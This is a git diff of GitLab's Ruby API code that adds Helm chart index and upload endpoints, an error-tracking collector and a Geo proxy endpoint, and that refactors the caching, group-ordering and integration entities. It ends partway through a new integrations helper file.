diff --git a/lib/api/entities/helm/index.rb b/lib/api/entities/helm/index.rb
new file mode 100644
index 00000000000..168298f24b6
--- /dev/null
+++ b/lib/api/entities/helm/index.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ module Helm
+ class Index < Grape::Entity
+ expose :api_version, as: :apiVersion
+ expose :entries
+ expose :generated
+ expose :server_info, as: :serverInfo
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/job_request/artifacts.rb b/lib/api/entities/job_request/artifacts.rb
deleted file mode 100644
index 0d27f5a9189..00000000000
--- a/lib/api/entities/job_request/artifacts.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Artifacts < Grape::Entity
- expose :name
- expose :untracked
- expose :paths
- expose :exclude, expose_nil: false
- expose :when
- expose :expire_in
- expose :artifact_type
- expose :artifact_format
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/cache.rb b/lib/api/entities/job_request/cache.rb
deleted file mode 100644
index cd533d7e5b3..00000000000
--- a/lib/api/entities/job_request/cache.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Cache < Grape::Entity
- expose :key, :untracked, :paths, :policy, :when
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/credentials.rb b/lib/api/entities/job_request/credentials.rb
deleted file mode 100644
index cdac5566cbd..00000000000
--- a/lib/api/entities/job_request/credentials.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Credentials < Grape::Entity
- expose :type, :url, :username, :password
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/dependency.rb b/lib/api/entities/job_request/dependency.rb
deleted file mode 100644
index 7d6ec832ba1..00000000000
--- a/lib/api/entities/job_request/dependency.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Dependency < Grape::Entity
- expose :id, :name, :token
- expose :artifacts_file, using: Entities::Ci::JobArtifactFile, if: ->(job, _) { job.artifacts? }
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/git_info.rb b/lib/api/entities/job_request/git_info.rb
deleted file mode 100644
index e07099263b5..00000000000
--- a/lib/api/entities/job_request/git_info.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class GitInfo < Grape::Entity
- expose :repo_url, :ref, :sha, :before_sha
- expose :ref_type
- expose :refspecs
- expose :git_depth, as: :depth
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/image.rb b/lib/api/entities/job_request/image.rb
deleted file mode 100644
index 47f4542d2d5..00000000000
--- a/lib/api/entities/job_request/image.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Image < Grape::Entity
- expose :name, :entrypoint
- expose :ports, using: Entities::JobRequest::Port
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/job_info.rb b/lib/api/entities/job_request/job_info.rb
deleted file mode 100644
index a4bcc9726d0..00000000000
--- a/lib/api/entities/job_request/job_info.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class JobInfo < Grape::Entity
- expose :id, :name, :stage
- expose :project_id, :project_name
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/port.rb b/lib/api/entities/job_request/port.rb
deleted file mode 100644
index ee427da8657..00000000000
--- a/lib/api/entities/job_request/port.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Port < Grape::Entity
- expose :number, :protocol, :name
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/response.rb b/lib/api/entities/job_request/response.rb
deleted file mode 100644
index 2e8dfc5bde0..00000000000
--- a/lib/api/entities/job_request/response.rb
+++ /dev/null
@@ -1,37 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Response < Grape::Entity
- expose :id
- expose :token
- expose :allow_git_fetch
-
- expose :job_info, using: Entities::JobRequest::JobInfo do |model|
- model
- end
-
- expose :git_info, using: Entities::JobRequest::GitInfo do |model|
- model
- end
-
- expose :runner_info, using: Entities::JobRequest::RunnerInfo do |model|
- model
- end
-
- expose :runner_variables, as: :variables
- expose :steps, using: Entities::JobRequest::Step
- expose :image, using: Entities::JobRequest::Image
- expose :services, using: Entities::JobRequest::Service
- expose :artifacts, using: Entities::JobRequest::Artifacts
- expose :cache, using: Entities::JobRequest::Cache
- expose :credentials, using: Entities::JobRequest::Credentials
- expose :all_dependencies, as: :dependencies, using: Entities::JobRequest::Dependency
- expose :features
- end
- end
- end
-end
-
-API::Entities::JobRequest::Response.prepend_mod_with('API::Entities::JobRequest::Response')
diff --git a/lib/api/entities/job_request/runner_info.rb b/lib/api/entities/job_request/runner_info.rb
deleted file mode 100644
index e6d2e8d9e85..00000000000
--- a/lib/api/entities/job_request/runner_info.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class RunnerInfo < Grape::Entity
- expose :metadata_timeout, as: :timeout
- expose :runner_session_url
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/service.rb b/lib/api/entities/job_request/service.rb
deleted file mode 100644
index 9ad5abf4e9e..00000000000
--- a/lib/api/entities/job_request/service.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Service < Entities::JobRequest::Image
- expose :alias, :command
- end
- end
- end
-end
diff --git a/lib/api/entities/job_request/step.rb b/lib/api/entities/job_request/step.rb
deleted file mode 100644
index 498dd017fb4..00000000000
--- a/lib/api/entities/job_request/step.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- module JobRequest
- class Step < Grape::Entity
- expose :name, :script, :timeout, :when, :allow_failure
- end
- end
- end
-end
diff --git a/lib/api/entities/label.rb b/lib/api/entities/label.rb
index ca9a0912331..dc147f33671 100644
--- a/lib/api/entities/label.rb
+++ b/lib/api/entities/label.rb
@@ -18,7 +18,9 @@ module API
end
expose :subscribed do |label, options|
- label.subscribed?(options[:current_user], options[:parent])
+ label.subscribed?(options[:current_user]) || (
+ options[:parent].is_a?(::Project) && label.subscribed?(options[:current_user], options[:parent])
+ )
end
end
end
diff --git a/lib/api/entities/plan_limit.rb b/lib/api/entities/plan_limit.rb
index 40e8b348c18..04ec44b5167 100644
--- a/lib/api/entities/plan_limit.rb
+++ b/lib/api/entities/plan_limit.rb
@@ -9,6 +9,7 @@ module API
expose :npm_max_file_size
expose :nuget_max_file_size
expose :pypi_max_file_size
+ expose :terraform_module_max_file_size
end
end
end
diff --git a/lib/api/entities/project.rb b/lib/api/entities/project.rb
index 68d91fc6970..f5f565e5b07 100644
--- a/lib/api/entities/project.rb
+++ b/lib/api/entities/project.rb
@@ -53,13 +53,7 @@ module API
expose(:wiki_enabled) { |project, options| project.feature_available?(:wiki, options[:current_user]) }
expose(:jobs_enabled) { |project, options| project.feature_available?(:builds, options[:current_user]) }
expose(:snippets_enabled) { |project, options| project.feature_available?(:snippets, options[:current_user]) }
- expose(:container_registry_enabled) do |project, options|
- if ::Feature.enabled?(:read_container_registry_access_level, project.namespace, default_enabled: :yaml)
- project.feature_available?(:container_registry, options[:current_user])
- else
- project.read_attribute(:container_registry_enabled)
- end
- end
+ expose(:container_registry_enabled) { |project, options| project.feature_available?(:container_registry, options[:current_user]) }
expose :service_desk_enabled
expose :service_desk_address
diff --git a/lib/api/entities/project_integration.rb b/lib/api/entities/project_integration.rb
new file mode 100644
index 00000000000..649e4d015b8
--- /dev/null
+++ b/lib/api/entities/project_integration.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class ProjectIntegration < Entities::ProjectIntegrationBasic
+ # Expose serialized properties
+ expose :properties do |integration, options|
+ # TODO: Simplify as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
+
+ attributes =
+ if integration.data_fields_present?
+ integration.data_fields.as_json.keys
+ else
+ integration.properties.keys
+ end
+
+ attributes &= integration.api_field_names
+
+ attributes.each_with_object({}) do |attribute, hash|
+ hash[attribute] = integration.public_send(attribute) # rubocop:disable GitlabSecurity/PublicSend
+ end
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/project_integration_basic.rb b/lib/api/entities/project_integration_basic.rb
new file mode 100644
index 00000000000..2870123b83d
--- /dev/null
+++ b/lib/api/entities/project_integration_basic.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class ProjectIntegrationBasic < Grape::Entity
+ expose :id, :title
+ expose :slug do |integration|
+ integration.to_param.dasherize
+ end
+ expose :created_at, :updated_at, :active
+ expose :commit_events, :push_events, :issues_events, :confidential_issues_events
+ expose :merge_requests_events, :tag_push_events, :note_events
+ expose :confidential_note_events, :pipeline_events, :wiki_page_events
+ expose :job_events, :comment_on_event_enabled
+ end
+ end
+end
diff --git a/lib/api/entities/project_service.rb b/lib/api/entities/project_service.rb
deleted file mode 100644
index 947cec1e3cd..00000000000
--- a/lib/api/entities/project_service.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- class ProjectService < Entities::ProjectServiceBasic
- # Expose serialized properties
- expose :properties do |service, options|
- # TODO: Simplify as part of https://gitlab.com/gitlab-org/gitlab/issues/29404
- if service.data_fields_present?
- service.data_fields.as_json.slice(*service.api_field_names)
- else
- service.properties.slice(*service.api_field_names)
- end
- end
- end
- end
-end
diff --git a/lib/api/entities/project_service_basic.rb b/lib/api/entities/project_service_basic.rb
deleted file mode 100644
index eb97ca69a82..00000000000
--- a/lib/api/entities/project_service_basic.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- class ProjectServiceBasic < Grape::Entity
- expose :id, :title
- expose :slug do |service|
- service.to_param.dasherize
- end
- expose :created_at, :updated_at, :active
- expose :commit_events, :push_events, :issues_events, :confidential_issues_events
- expose :merge_requests_events, :tag_push_events, :note_events
- expose :confidential_note_events, :pipeline_events, :wiki_page_events
- expose :job_events, :comment_on_event_enabled
- end
- end
-end
diff --git a/lib/api/entities/resource_access_token.rb b/lib/api/entities/resource_access_token.rb
new file mode 100644
index 00000000000..a1c7b28af45
--- /dev/null
+++ b/lib/api/entities/resource_access_token.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class ResourceAccessToken < Entities::PersonalAccessToken
+ expose :access_level do |token, options|
+ options[:project].project_member(token.user).access_level
+ end
+ end
+ end
+end
diff --git a/lib/api/entities/resource_access_token_with_token.rb b/lib/api/entities/resource_access_token_with_token.rb
new file mode 100644
index 00000000000..edbd9b285de
--- /dev/null
+++ b/lib/api/entities/resource_access_token_with_token.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module API
+ module Entities
+ class ResourceAccessTokenWithToken < Entities::ResourceAccessToken
+ expose :token
+ end
+ end
+end
diff --git a/lib/api/entities/runner.rb b/lib/api/entities/runner.rb
deleted file mode 100644
index e78f14cf920..00000000000
--- a/lib/api/entities/runner.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- class Runner < Grape::Entity
- expose :id
- expose :description
- expose :ip_address
- expose :active
- expose :instance_type?, as: :is_shared
- expose :runner_type
- expose :name
- expose :online?, as: :online
- expose :status
- end
- end
-end
diff --git a/lib/api/entities/runner_details.rb b/lib/api/entities/runner_details.rb
deleted file mode 100644
index 0afe298ef64..00000000000
--- a/lib/api/entities/runner_details.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- class RunnerDetails < Runner
- expose :tag_list
- expose :run_untagged
- expose :locked
- expose :maximum_timeout
- expose :access_level
- expose :version, :revision, :platform, :architecture
- expose :contacted_at
-
- # rubocop: disable CodeReuse/ActiveRecord
- expose :projects, with: Entities::BasicProjectDetails do |runner, options|
- if options[:current_user].admin?
- runner.projects
- else
- options[:current_user].authorized_projects.where(id: runner.projects)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
- # rubocop: disable CodeReuse/ActiveRecord
- expose :groups, with: Entities::BasicGroupDetails do |runner, options|
- if options[:current_user].admin?
- runner.groups
- else
- options[:current_user].authorized_groups.where(id: runner.groups)
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
- end
- end
-end
diff --git a/lib/api/entities/runner_registration_details.rb b/lib/api/entities/runner_registration_details.rb
deleted file mode 100644
index c8ed88ba10a..00000000000
--- a/lib/api/entities/runner_registration_details.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-module API
- module Entities
- class RunnerRegistrationDetails < Grape::Entity
- expose :id, :token
- end
- end
-end
diff --git a/lib/api/entities/user.rb b/lib/api/entities/user.rb
index 3ce6d03e236..973e80dd5ef 100644
--- a/lib/api/entities/user.rb
+++ b/lib/api/entities/user.rb
@@ -5,7 +5,7 @@ module API
class User < UserBasic
include UsersHelper
expose :created_at, if: ->(user, opts) { Ability.allowed?(opts[:current_user], :read_user_profile, user) }
- expose :bio, :bio_html, :location, :public_email, :skype, :linkedin, :twitter, :website_url, :organization, :job_title
+ expose :bio, :bio_html, :location, :public_email, :skype, :linkedin, :twitter, :website_url, :organization, :job_title, :pronouns
expose :bot?, as: :bot
expose :work_information do |user|
work_information(user)
diff --git a/lib/api/error_tracking_collector.rb b/lib/api/error_tracking_collector.rb
new file mode 100644
index 00000000000..08ff8d2e4d1
--- /dev/null
+++ b/lib/api/error_tracking_collector.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+module API
+ # This API is responsible for collecting error tracking information
+ # from sentry client. It allows us to use GitLab as an alternative to
+ # sentry backend. For more details see https://gitlab.com/gitlab-org/gitlab/-/issues/329596.
+ class ErrorTrackingCollector < ::API::Base
+ feature_category :error_tracking
+
+ content_type :envelope, 'application/x-sentry-envelope'
+ default_format :envelope
+
+ before do
+ not_found!('Project') unless project
+ not_found! unless feature_enabled?
+ end
+
+ helpers do
+ def project
+ @project ||= find_project(params[:id])
+ end
+
+ def feature_enabled?
+ ::Feature.enabled?(:integrated_error_tracking, project) &&
+ project.error_tracking_setting&.enabled?
+ end
+ end
+
+ desc 'Submit error tracking event to the project' do
+ detail 'This feature was introduced in GitLab 14.1.'
+ end
+ params do
+ requires :id, type: String, desc: 'The ID of a project'
+ end
+ post 'error_tracking/collector/api/:id/envelope' do
+ # There is a reason why we have such uncommon path.
+ # We depend on a client side error tracking software which
+ # modifies URL for its own reasons.
+ #
+ # When we give user a URL like this
+ # HOST/api/v4/error_tracking/collector/123
+ #
+ # Then error tracking software will convert it like this:
+ # HOST/api/v4/error_tracking/collector/api/123/envelope/
+
+ begin
+ parsed_request = ::ErrorTracking::Collector::SentryRequestParser.parse(request)
+ rescue StandardError
+ render_api_error!('Failed to parse sentry request', 400)
+ end
+
+ type = parsed_request[:request_type]
+
+ # Sentry sends 2 requests on each exception: transaction and event.
+ # Everything else is not a desired behavior.
+ unless type == 'transaction' || type == 'event'
+ render_api_error!('400 Bad Request', 400)
+
+ break
+ end
+
+ # We don't have use for transaction request yet,
+ # so we record only event one.
+ if type == 'event'
+ ::ErrorTracking::CollectErrorService
+ .new(project, nil, event: parsed_request[:event])
+ .execute
+ end
+
+ no_content!
+ end
+ end
+end
diff --git a/lib/api/geo.rb b/lib/api/geo.rb
new file mode 100644
index 00000000000..9fc610c9b32
--- /dev/null
+++ b/lib/api/geo.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module API
+ class Geo < ::API::Base
+ feature_category :geo_replication
+
+ helpers do
+ # Overridden in EE
+ def geo_proxy_response
+ {}
+ end
+ end
+
+ resource :geo do
+ # Workhorse calls this to determine if it is a Geo site that should proxy
+ # requests. Workhorse doesn't know if it's in a FOSS/EE context.
+ get '/proxy' do
+ require_gitlab_workhorse!
+
+ status :ok
+ content_type Gitlab::Workhorse::INTERNAL_API_CONTENT_TYPE
+
+ geo_proxy_response
+ end
+ end
+ end
+end
+
+API::Geo.prepend_mod
diff --git a/lib/api/group_avatar.rb b/lib/api/group_avatar.rb
index ddf6787f913..9063040c763 100644
--- a/lib/api/group_avatar.rb
+++ b/lib/api/group_avatar.rb
@@ -6,15 +6,27 @@ module API
feature_category :subgroups
- resource :groups do
+ params do
+ requires :id, type: String, desc: 'The ID of a group'
+ end
+ resource :groups, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
desc 'Download the group avatar' do
detail 'This feature was introduced in GitLab 14.0'
end
- params do
- requires :id, type: String, desc: 'The group id'
- end
get ':id/avatar' do
- present_carrierwave_file!(user_group.avatar)
+ avatar = user_group.avatar
+
+ not_found!('Avatar') if avatar.blank?
+
+ header(
+ 'Content-Disposition',
+ ActionDispatch::Http::ContentDisposition.format(
+ disposition: 'attachment',
+ filename: avatar.filename
+ )
+ )
+
+ present_carrierwave_file!(avatar)
end
end
end
diff --git a/lib/api/groups.rb b/lib/api/groups.rb
index 0efb8b57885..9b6b28733ff 100644
--- a/lib/api/groups.rb
+++ b/lib/api/groups.rb
@@ -22,7 +22,7 @@ module API
optional :all_available, type: Boolean, desc: 'Show all group that you have access to'
optional :search, type: String, desc: 'Search for a specific group'
optional :owned, type: Boolean, default: false, desc: 'Limit by owned by authenticated user'
- optional :order_by, type: String, values: %w[name path id], default: 'name', desc: 'Order by name, path or id'
+ optional :order_by, type: String, values: %w[name path id similarity], default: 'name', desc: 'Order by name, path, id or similarity if searching'
optional :sort, type: String, values: %w[asc desc], default: 'asc', desc: 'Sort by asc (ascending) or desc (descending)'
optional :min_access_level, type: Integer, values: Gitlab::Access.all_values, desc: 'Minimum access level of authenticated user'
optional :top_level_only, type: Boolean, desc: 'Only include top level groups'
@@ -50,9 +50,8 @@ module API
groups = GroupsFinder.new(current_user, find_params).execute
groups = groups.search(params[:search], include_parents: true) if params[:search].present?
groups = groups.where.not(id: params[:skip_groups]) if params[:skip_groups].present?
- order_options = { params[:order_by] => params[:sort] }
- order_options["id"] ||= "asc"
- groups.reorder(order_options)
+
+ order_groups(groups)
end
# rubocop: enable CodeReuse/ActiveRecord
@@ -123,6 +122,23 @@ module API
reorder_projects(projects)
end
+ def order_groups(groups)
+ return groups.sorted_by_similarity_and_parent_id_desc(params[:search]) if order_by_similarity?
+
+ groups.reorder(group_without_similarity_options) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ def order_by_similarity?
+ params[:order_by] == 'similarity' && params[:search].present?
+ end
+
+ def group_without_similarity_options
+ order_options = { params[:order_by] => params[:sort] }
+ order_options['name'] = order_options.delete('similarity') if order_options.has_key?('similarity')
+ order_options["id"] ||= "asc"
+ order_options
+ end
+
# rubocop: disable CodeReuse/ActiveRecord
def handle_similarity_order(group, projects)
if params[:search].present? && Feature.enabled?(:similarity_search, group, default_enabled: true)
@@ -199,6 +215,7 @@ module API
optional :name, type: String, desc: 'The name of the group'
optional :path, type: String, desc: 'The path of the group'
use :optional_params
+ use :optional_update_params
use :optional_update_params_ee
end
put ':id' do
diff --git a/lib/api/helm_packages.rb b/lib/api/helm_packages.rb
index dc5630a1395..4280744d8b4 100644
--- a/lib/api/helm_packages.rb
+++ b/lib/api/helm_packages.rb
@@ -10,11 +10,15 @@ module API
feature_category :package_registry
+ PACKAGE_FILENAME = 'package.tgz'
FILE_NAME_REQUIREMENTS = {
file_name: API::NO_SLASH_URL_PART_REGEX
}.freeze
content_type :binary, 'application/octet-stream'
+ content_type :yaml, 'text/yaml'
+
+ formatter :yaml, -> (object, _) { object.serializable_hash.stringify_keys.to_yaml }
authenticate_with do |accept|
accept.token_types(:personal_access_token, :deploy_token, :job_token)
@@ -25,15 +29,33 @@ module API
require_packages_enabled!
end
- after_validation do
- not_found! unless Feature.enabled?(:helm_packages, authorized_user_project)
- end
-
params do
requires :id, type: String, desc: 'The ID or full path of a project'
end
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
namespace ':id/packages/helm' do
+ desc 'Download a chart index' do
+ detail 'This feature was introduced in GitLab 14.0'
+ end
+ params do
+ requires :channel, type: String, desc: 'Helm channel', regexp: Gitlab::Regex.helm_channel_regex
+ end
+
+ get ":channel/index.yaml" do
+ authorize_read_package!(authorized_user_project)
+
+ package_files = Packages::Helm::PackageFilesFinder.new(
+ authorized_user_project,
+ params[:channel],
+ order_by: 'created_at',
+ sort: 'desc'
+ ).execute
+
+ env['api.format'] = :yaml
+ present ::Packages::Helm::IndexPresenter.new(authorized_user_project, params[:id], package_files),
+ with: ::API::Entities::Helm::Index
+ end
+
desc 'Download a chart' do
detail 'This feature was introduced in GitLab 14.0'
end
@@ -50,6 +72,55 @@ module API
present_carrierwave_file!(package_file.file)
end
+
+ desc 'Authorize a chart upload from workhorse' do
+ detail 'This feature was introduced in GitLab 14.0'
+ end
+ params do
+ requires :channel, type: String, desc: 'Helm channel', regexp: Gitlab::Regex.helm_channel_regex
+ end
+ post "api/:channel/charts/authorize" do
+ authorize_workhorse!(
+ subject: authorized_user_project,
+ has_length: false,
+ maximum_size: authorized_user_project.actual_limits.helm_max_file_size
+ )
+ end
+
+ desc 'Upload a chart' do
+ detail 'This feature was introduced in GitLab 14.0'
+ end
+ params do
+ requires :channel, type: String, desc: 'Helm channel', regexp: Gitlab::Regex.helm_channel_regex
+ requires :chart, type: ::API::Validations::Types::WorkhorseFile, desc: 'The chart file to be published (generated by Multipart middleware)'
+ end
+ post "api/:channel/charts" do
+ authorize_upload!(authorized_user_project)
+ bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:helm_max_file_size, params[:chart].size)
+
+ package = ::Packages::CreateTemporaryPackageService.new(
+ authorized_user_project, current_user, declared_params.merge(build: current_authenticated_job)
+ ).execute(:helm, name: ::Packages::Helm::TEMPORARY_PACKAGE_NAME)
+
+ chart_params = {
+ file: params[:chart],
+ file_name: PACKAGE_FILENAME
+ }
+
+ chart_package_file = ::Packages::CreatePackageFileService.new(
+ package, chart_params.merge(build: current_authenticated_job)
+ ).execute
+
+ track_package_event('push_package', :helm, project: authorized_user_project, namespace: authorized_user_project.namespace)
+
+ ::Packages::Helm::ExtractionWorker.perform_async(params[:channel], chart_package_file.id) # rubocop:disable CodeReuse/Worker
+
+ created!
+ rescue ObjectStorage::RemoteStoreError => e
+ Gitlab::ErrorTracking.track_exception(e, extra: { channel: params[:channel], project_id: authorized_user_project.id })
+
+ forbidden!
+ end
end
end
end
diff --git a/lib/api/helpers.rb b/lib/api/helpers.rb
index 6ce04be373f..3398d5da7f5 100644
--- a/lib/api/helpers.rb
+++ b/lib/api/helpers.rb
@@ -577,10 +577,6 @@ module API
Gitlab::AppLogger.warn("Redis tracking event failed for event: #{event_name}, message: #{error.message}")
end
- def with_api_params(&block)
- yield({ api: true, request: request })
- end
-
protected
def project_finder_params_visibility_ce
diff --git a/lib/api/helpers/caching.rb b/lib/api/helpers/caching.rb
index f24ac7302c1..f567d85443f 100644
--- a/lib/api/helpers/caching.rb
+++ b/lib/api/helpers/caching.rb
@@ -8,18 +8,15 @@
module API
module Helpers
module Caching
- # @return [ActiveSupport::Duration]
- DEFAULT_EXPIRY = 1.day
-
+ include Gitlab::Cache::Helpers
# @return [Hash]
DEFAULT_CACHE_OPTIONS = {
- race_condition_ttl: 5.seconds
+ race_condition_ttl: 5.seconds,
+ version: 1
}.freeze
- # @return [ActiveSupport::Cache::Store]
- def cache
- Rails.cache
- end
+ # @return [Array]
+ PAGINATION_HEADERS = %w[X-Per-Page X-Page X-Next-Page X-Prev-Page Link X-Total X-Total-Pages].freeze
# This is functionally equivalent to the standard `#present` used in
# Grape endpoints, but the JSON for the object, or for each object of
@@ -45,7 +42,7 @@ module API
# @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
# @param presenter_args [Hash] keyword arguments to be passed to the entity
# @return [Gitlab::Json::PrecompiledJson]
- def present_cached(obj_or_collection, with:, cache_context: -> (_) { current_user&.cache_key }, expires_in: DEFAULT_EXPIRY, **presenter_args)
+ def present_cached(obj_or_collection, with:, cache_context: -> (_) { current_user&.cache_key }, expires_in: Gitlab::Cache::Helpers::DEFAULT_EXPIRY, **presenter_args)
json =
if obj_or_collection.is_a?(Enumerable)
cached_collection(
@@ -79,15 +76,22 @@ module API
# @param key [Object] any object that can be converted into a cache key
# @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
# @return [Gitlab::Json::PrecompiledJson]
- def cache_action(key, **cache_opts)
- json = cache.fetch(key, **apply_default_cache_options(cache_opts)) do
+ def cache_action(key, **custom_cache_opts)
+ cache_opts = apply_default_cache_options(custom_cache_opts)
+
+ json, cached_headers = cache.fetch(key, **cache_opts) do
response = yield
- if response.is_a?(Gitlab::Json::PrecompiledJson)
- response.to_s
- else
- Gitlab::Json.dump(response.as_json)
- end
+ cached_body = response.is_a?(Gitlab::Json::PrecompiledJson) ? response.to_s : Gitlab::Json.dump(response.as_json)
+ cached_headers = header.slice(*PAGINATION_HEADERS)
+
+ [cached_body, cached_headers]
+ end
+
+ cached_headers.each do |key, value|
+ next if header.key?(key)
+
+ header key, value
end
body Gitlab::Json::PrecompiledJson.new(json)
@@ -120,77 +124,6 @@ module API
def apply_default_cache_options(opts = {})
DEFAULT_CACHE_OPTIONS.merge(opts)
end
-
- # Optionally uses a `Proc` to add context to a cache key
- #
- # @param object [Object] must respond to #cache_key
- # @param context [Proc] a proc that will be called with the object as an argument, and which should return a
- # string or array of strings to be combined into the cache key
- # @return [String]
- def contextual_cache_key(object, context)
- return object.cache_key if context.nil?
-
- [object.cache_key, context.call(object)].flatten.join(":")
- end
-
- # Used for fetching or rendering a single object
- #
- # @param object [Object] the object to render
- # @param presenter [Grape::Entity]
- # @param presenter_args [Hash] keyword arguments to be passed to the entity
- # @param context [Proc]
- # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
- # @return [String]
- def cached_object(object, presenter:, presenter_args:, context:, expires_in:)
- cache.fetch(contextual_cache_key(object, context), expires_in: expires_in) do
- Gitlab::Json.dump(presenter.represent(object, **presenter_args).as_json)
- end
- end
-
- # Used for fetching or rendering multiple objects
- #
- # @param objects [Enumerable<Object>] the objects to render
- # @param presenter [Grape::Entity]
- # @param presenter_args [Hash] keyword arguments to be passed to the entity
- # @param context [Proc]
- # @param expires_in [ActiveSupport::Duration, Integer] an expiry time for the cache entry
- # @return [Array<String>]
- def cached_collection(collection, presenter:, presenter_args:, context:, expires_in:)
- json = fetch_multi(collection, context: context, expires_in: expires_in) do |obj|
- Gitlab::Json.dump(presenter.represent(obj, **presenter_args).as_json)
- end
-
- json.values
- end
-
- # An adapted version of ActiveSupport::Cache::Store#fetch_multi.
- #
- # The original method only provides the missing key to the block,
- # not the missing object, so we have to create a map of cache keys
- # to the objects to allow us to pass the object to the missing value
- # block.
- #
- # The result is that this is functionally identical to `#fetch`.
- def fetch_multi(*objs, context:, **kwargs)
- objs.flatten!
- map = multi_key_map(objs, context: context)
-
- # TODO: `contextual_cache_key` should be constructed based on the guideline https://docs.gitlab.com/ee/development/redis.html#multi-key-commands.
- Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do
- cache.fetch_multi(*map.keys, **kwargs) do |key|
- yield map[key]
- end
- end
- end
-
- # @param objects [Enumerable<Object>] objects which _must_ respond to `#cache_key`
- # @param context [Proc] a proc that can be called to help generate each cache key
- # @return [Hash]
- def multi_key_map(objects, context:)
- objects.index_by do |object|
- contextual_cache_key(object, context)
- end
- end
end
end
end
diff --git a/lib/api/helpers/groups_helpers.rb b/lib/api/helpers/groups_helpers.rb
index 5c5109f3d21..e38213532ba 100644
--- a/lib/api/helpers/groups_helpers.rb
+++ b/lib/api/helpers/groups_helpers.rb
@@ -30,6 +30,10 @@ module API
params :optional_params_ee do
end
+ params :optional_update_params do
+ optional :prevent_sharing_groups_outside_hierarchy, type: Boolean, desc: 'Prevent sharing groups within this namespace with any groups outside the namespace. Only available on top-level groups.'
+ end
+
params :optional_update_params_ee do
end
diff --git a/lib/api/helpers/integrations_helpers.rb b/lib/api/helpers/integrations_helpers.rb
new file mode 100644
index 00000000000..06539772568
--- /dev/null
+++ b/lib/api/helpers/integrations_helpers.rb
@@ -0,0 +1,822 @@
+# frozen_string_literal: true
+
+module API
+ module Helpers
+ # Helpers module for API::Services
+ #
+ # The data structures inside this model are returned using class methods,
+ # allowing EE to extend them where necessary.
+ module IntegrationsHelpers
+ def self.chat_notification_settings
+ [
+ {
+ required: true,
+ name: :webhook,
+ type: String,
+ desc: 'The chat webhook'
+ },
+ {
+ required: false,
+ name: :username,
+ type: String,
+ desc: 'The chat username'
+ },
+ {
+ required: false,
+ name: :channel,
+ type: String,
+ desc: 'The default chat channel'
+ },
+ {
+ required: false,
+ name: :branches_to_be_notified,
+ type: String,
+ desc: 'Branches for which notifications are to be sent'
+ }
+ ].freeze
+ end
+
+ def self.chat_notification_flags
+ [
+ {
+ required: false,
+ name: :notify_only_broken_pipelines,
+ type: Boolean,
+ desc: 'Send notifications for broken pipelines'
+ }
+ ].freeze
+ end
+
+ def self.chat_notification_channels
+ [
+ {
+ required: false,
+ name: :push_channel,
+ type: String,
+ desc: 'The name of the channel to receive push_events notifications'
+ },
+ {
+ required: false,
+ name: :issue_channel,
+ type: String,
+ desc: 'The name of the channel to receive issues_events notifications'
+ },
+ {
+ required: false,
+ name: :confidential_issue_channel,
